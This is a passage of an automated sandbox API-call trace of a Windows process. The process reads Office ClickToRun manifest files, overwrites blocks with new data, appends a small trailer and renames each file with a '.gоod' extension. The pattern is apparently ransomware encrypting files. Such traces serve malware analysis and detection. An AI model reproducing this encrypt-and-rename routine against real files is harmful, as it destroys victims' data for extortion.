lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Proof.Culture.msi.16.es-es.xml", lpFilePart=0x0) returned 0x75 [0099.129] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Proof.Culture.msi.16.es-es.xml.gоod", nBufferLength=0x105, lpBuffer=0x1faee260, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Proof.Culture.msi.16.es-es.xml.gоod", lpFilePart=0x0) returned 0x7a [0099.129] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faee6f0) returned 1 [0099.129] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Proof.Culture.msi.16.es-es.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.proof.culture.msi.16.es-es.xml"), fInfoLevelId=0x0, lpFileInformation=0x1faee7d0 | out: lpFileInformation=0x1faee7d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed08dd97, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed08dd97, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x374d87d7, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5ffe)) returned 1 [0099.129] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faee6b0) returned 1 [0099.129] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Proof.Culture.msi.16.es-es.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.proof.culture.msi.16.es-es.xml"), lpNewFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Proof.Culture.msi.16.es-es.xml.gоod" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.proof.culture.msi.16.es-es.xml.gоod")) returned 1 [0099.130] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Proof.Culture.msi.16.fr-fr.xml", nBufferLength=0x105, lpBuffer=0x1faee260, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Proof.Culture.msi.16.fr-fr.xml", lpFilePart=0x0) returned 0x75 [0099.130] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faee730) returned 1 [0099.130] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Proof.Culture.msi.16.fr-fr.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.proof.culture.msi.16.fr-fr.xml"), fInfoLevelId=0x0, lpFileInformation=0x33d6448 | out: lpFileInformation=0x33d6448*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed067a9a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed067a9a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd3999a72, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x5fee)) returned 1 [0099.130] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faee6f0) returned 1 [0099.130] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Proof.Culture.msi.16.fr-fr.xml", nBufferLength=0x105, lpBuffer=0x1faee110, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Proof.Culture.msi.16.fr-fr.xml", lpFilePart=0x0) returned 0x75 [0099.130] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faee630) returned 1 [0099.130] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Proof.Culture.msi.16.fr-fr.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.proof.culture.msi.16.fr-fr.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c0 [0099.131] GetFileType (hFile=0x7c0) returned 0x1 [0099.131] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faee5a0) returned 1 [0099.131] GetFileType (hFile=0x7c0) returned 0x1 [0099.131] SetFilePointer (in: hFile=0x7c0, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1faee788*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1faee788*=0) returned 0x1000 [0099.131] ReadFile (in: hFile=0x7c0, lpBuffer=0x33d6990, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faee758, lpOverlapped=0x0 | out: lpBuffer=0x33d6990*, lpNumberOfBytesRead=0x1faee758*=0x1000, lpOverlapped=0x0) returned 1 [0099.134] CloseHandle (hObject=0x7c0) returned 1 [0099.134] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Proof.Culture.msi.16.fr-fr.xml", nBufferLength=0x105, lpBuffer=0x1faee110, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Proof.Culture.msi.16.fr-fr.xml", lpFilePart=0x0) returned 0x75 [0099.134] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faee630) returned 1 [0099.134] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Proof.Culture.msi.16.fr-fr.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.proof.culture.msi.16.fr-fr.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c0 [0099.134] GetFileType (hFile=0x7c0) returned 0x1 [0099.134] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faee5a0) returned 1 [0099.134] GetFileType (hFile=0x7c0) returned 0x1 [0099.134] SetFilePointer (in: hFile=0x7c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x1faee788*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1faee788*=0) returned 0x5fee [0099.134] WriteFile (in: hFile=0x7c0, lpBuffer=0x33d9f18*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1faee678, lpOverlapped=0x0 | out: lpBuffer=0x33d9f18*, lpNumberOfBytesWritten=0x1faee678*=0x10, lpOverlapped=0x0) returned 1 [0099.135] CloseHandle (hObject=0x7c0) returned 1 [0099.135] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Proof.Culture.msi.16.fr-fr.xml", nBufferLength=0x105, lpBuffer=0x1faee110, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Proof.Culture.msi.16.fr-fr.xml", lpFilePart=0x0) returned 0x75 [0099.136] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faee630) returned 1 [0099.136] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Proof.Culture.msi.16.fr-fr.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.proof.culture.msi.16.fr-fr.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c0 [0099.136] GetFileType (hFile=0x7c0) returned 0x1 [0099.136] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faee5a0) returned 1 [0099.136] GetFileType (hFile=0x7c0) returned 0x1 [0099.136] ReadFile (in: hFile=0x7c0, lpBuffer=0x33dd288, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faee708, lpOverlapped=0x0 | out: lpBuffer=0x33dd288*, lpNumberOfBytesRead=0x1faee708*=0x1000, lpOverlapped=0x0) returned 1 [0099.171] CloseHandle (hObject=0x7c0) returned 1 [0099.171] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Proof.Culture.msi.16.fr-fr.xml", nBufferLength=0x105, lpBuffer=0x1faee110, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Proof.Culture.msi.16.fr-fr.xml", lpFilePart=0x0) returned 0x75 [0099.171] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faee630) returned 1 [0099.171] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Proof.Culture.msi.16.fr-fr.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.proof.culture.msi.16.fr-fr.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c0 [0099.171] GetFileType (hFile=0x7c0) returned 0x1 [0099.171] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faee5a0) returned 1 [0099.171] GetFileType (hFile=0x7c0) returned 0x1 [0099.171] WriteFile (in: hFile=0x7c0, lpBuffer=0x33dbf48*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1faee7b8, lpOverlapped=0x0 | out: lpBuffer=0x33dbf48*, lpNumberOfBytesWritten=0x1faee7b8*=0x1010, lpOverlapped=0x0) returned 1 [0099.171] CloseHandle (hObject=0x7c0) returned 1 [0099.171] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Proof.Culture.msi.16.fr-fr.xml", nBufferLength=0x105, lpBuffer=0x1faee260, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Proof.Culture.msi.16.fr-fr.xml", lpFilePart=0x0) returned 0x75 [0099.172] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Proof.Culture.msi.16.fr-fr.xml.gоod", nBufferLength=0x105, lpBuffer=0x1faee260, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Proof.Culture.msi.16.fr-fr.xml.gоod", lpFilePart=0x0) returned 0x7a [0099.172] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faee6f0) returned 1 [0099.172] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Proof.Culture.msi.16.fr-fr.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.proof.culture.msi.16.fr-fr.xml"), fInfoLevelId=0x0, lpFileInformation=0x1faee7d0 | out: lpFileInformation=0x1faee7d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed067a9a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed067a9a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x37524b0f, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5ffe)) returned 1 [0099.172] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faee6b0) returned 1 [0099.172] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Proof.Culture.msi.16.fr-fr.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.proof.culture.msi.16.fr-fr.xml"), lpNewFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Proof.Culture.msi.16.fr-fr.xml.gоod" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.proof.culture.msi.16.fr-fr.xml.gоod")) returned 1 [0099.173] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.proofing.msi.16.en-us.xml", nBufferLength=0x105, lpBuffer=0x1faee260, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.proofing.msi.16.en-us.xml", lpFilePart=0x0) returned 0x70 [0099.173] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faee730) returned 1 [0099.173] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.proofing.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.proofing.msi.16.en-us.xml"), fInfoLevelId=0x0, lpFileInformation=0x3459830 | out: lpFileInformation=0x3459830*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed041918, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed041918, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd37f6035, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x7fa)) returned 1 [0099.595] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faee6f0) returned 1 [0099.660] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.proofing.msi.16.en-us.xml", nBufferLength=0x105, lpBuffer=0x1faee0c0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.proofing.msi.16.en-us.xml", lpFilePart=0x0) returned 0x70 [0099.665] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faee5e0) returned 1 [0099.666] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.proofing.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.proofing.msi.16.en-us.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0099.677] GetFileType (hFile=0x768) returned 0x1 [0099.693] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faee550) returned 1 [0099.693] GetFileType (hFile=0x768) returned 0x1 [0099.693] GetFileSize (in: hFile=0x768, lpFileSizeHigh=0x1faee788 | out: lpFileSizeHigh=0x1faee788*=0x0) returned 0x7fa [0099.693] ReadFile (in: hFile=0x768, lpBuffer=0x33a8978, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faee6b8, lpOverlapped=0x0 | out: lpBuffer=0x33a8978*, lpNumberOfBytesRead=0x1faee6b8*=0x7fa, lpOverlapped=0x0) returned 1 [0099.695] CloseHandle (hObject=0x768) returned 1 [0100.621] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.proofing.msi.16.en-us.xml", nBufferLength=0x105, lpBuffer=0x1faee0c0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.proofing.msi.16.en-us.xml", lpFilePart=0x0) returned 0x70 [0100.621] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faee5e0) returned 1 [0100.621] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.proofing.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.proofing.msi.16.en-us.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x20c [0100.623] GetFileType (hFile=0x20c) returned 0x1 [0100.623] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faee550) returned 1 [0100.623] GetFileType (hFile=0x20c) returned 0x1 [0100.623] WriteFile (in: hFile=0x20c, lpBuffer=0x345ecb8*, nNumberOfBytesToWrite=0x800, lpNumberOfBytesWritten=0x1faee5c8, lpOverlapped=0x0 | out: lpBuffer=0x345ecb8*, lpNumberOfBytesWritten=0x1faee5c8*=0x800, lpOverlapped=0x0) returned 1 [0100.624] CloseHandle (hObject=0x20c) returned 1 [0100.624] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.proofing.msi.16.en-us.xml", nBufferLength=0x105, lpBuffer=0x1faee260, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.proofing.msi.16.en-us.xml", lpFilePart=0x0) returned 0x70 [0100.624] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.proofing.msi.16.en-us.xml.gоod", nBufferLength=0x105, lpBuffer=0x1faee260, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.proofing.msi.16.en-us.xml.gоod", lpFilePart=0x0) returned 0x75 [0100.624] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faee6f0) returned 1 [0100.624] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.proofing.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.proofing.msi.16.en-us.xml"), fInfoLevelId=0x0, lpFileInformation=0x1faee7d0 | out: lpFileInformation=0x1faee7d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed041918, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed041918, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x3831ab8d, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x800)) returned 1 [0100.624] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faee6b0) returned 1 [0100.624] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.proofing.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.proofing.msi.16.en-us.xml"), lpNewFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.proofing.msi.16.en-us.xml.gоod" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.proofing.msi.16.en-us.xml.gоod")) returned 1 [0100.625] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Publisher.Publisher.x-none.msi.16.x-none.xml", nBufferLength=0x105, lpBuffer=0x1faee260, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Publisher.Publisher.x-none.msi.16.x-none.xml", lpFilePart=0x0) returned 0x83 [0100.625] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faee730) returned 1 [0100.625] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Publisher.Publisher.x-none.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.publisher.publisher.x-none.msi.16.x-none.xml"), fInfoLevelId=0x0, lpFileInformation=0x3460050 | out: lpFileInformation=0x3460050*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed041918, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed041918, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd2b97d2d, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x12e4a)) returned 1 [0100.625] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faee6f0) returned 1 [0100.625] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Publisher.Publisher.x-none.msi.16.x-none.xml", nBufferLength=0x105, lpBuffer=0x1faee110, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Publisher.Publisher.x-none.msi.16.x-none.xml", lpFilePart=0x0) returned 0x83 [0100.625] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faee630) returned 1 [0100.625] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Publisher.Publisher.x-none.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.publisher.publisher.x-none.msi.16.x-none.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x20c [0100.626] GetFileType (hFile=0x20c) returned 0x1 [0100.626] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faee5a0) returned 1 [0100.626] GetFileType (hFile=0x20c) returned 0x1 [0100.626] SetFilePointer (in: hFile=0x20c, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1faee788*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1faee788*=0) returned 0x1000 [0100.626] ReadFile (in: hFile=0x20c, lpBuffer=0x3460608, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faee758, lpOverlapped=0x0 | out: lpBuffer=0x3460608*, lpNumberOfBytesRead=0x1faee758*=0x1000, lpOverlapped=0x0) returned 1 [0100.945] CloseHandle (hObject=0x20c) returned 1 [0100.945] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Publisher.Publisher.x-none.msi.16.x-none.xml", nBufferLength=0x105, lpBuffer=0x1faee110, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Publisher.Publisher.x-none.msi.16.x-none.xml", lpFilePart=0x0) returned 0x83 [0100.945] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faee630) returned 1 [0100.945] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Publisher.Publisher.x-none.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.publisher.publisher.x-none.msi.16.x-none.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x20c [0100.945] GetFileType (hFile=0x20c) returned 0x1 [0100.945] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faee5a0) returned 1 [0100.945] GetFileType (hFile=0x20c) returned 0x1 [0100.945] SetFilePointer (in: hFile=0x20c, lDistanceToMove=0, lpDistanceToMoveHigh=0x1faee788*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1faee788*=0) returned 0x12e4a [0100.945] WriteFile (in: hFile=0x20c, lpBuffer=0x34a45a0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1faee678, lpOverlapped=0x0 | out: lpBuffer=0x34a45a0*, lpNumberOfBytesWritten=0x1faee678*=0x10, lpOverlapped=0x0) returned 1 [0100.946] CloseHandle (hObject=0x20c) returned 1 [0100.946] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Publisher.Publisher.x-none.msi.16.x-none.xml", nBufferLength=0x105, lpBuffer=0x1faee110, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Publisher.Publisher.x-none.msi.16.x-none.xml", lpFilePart=0x0) returned 0x83 [0100.946] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faee630) returned 1 [0100.947] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Publisher.Publisher.x-none.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.publisher.publisher.x-none.msi.16.x-none.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x20c [0100.947] GetFileType (hFile=0x20c) returned 0x1 [0100.947] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faee5a0) returned 1 [0100.947] GetFileType (hFile=0x20c) returned 0x1 [0100.947] ReadFile (in: hFile=0x20c, lpBuffer=0x34a6930, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faee708, lpOverlapped=0x0 | out: lpBuffer=0x34a6930*, lpNumberOfBytesRead=0x1faee708*=0x1000, lpOverlapped=0x0) returned 1 [0100.975] CloseHandle (hObject=0x20c) returned 1 [0100.975] GetFullPathNameW (in: 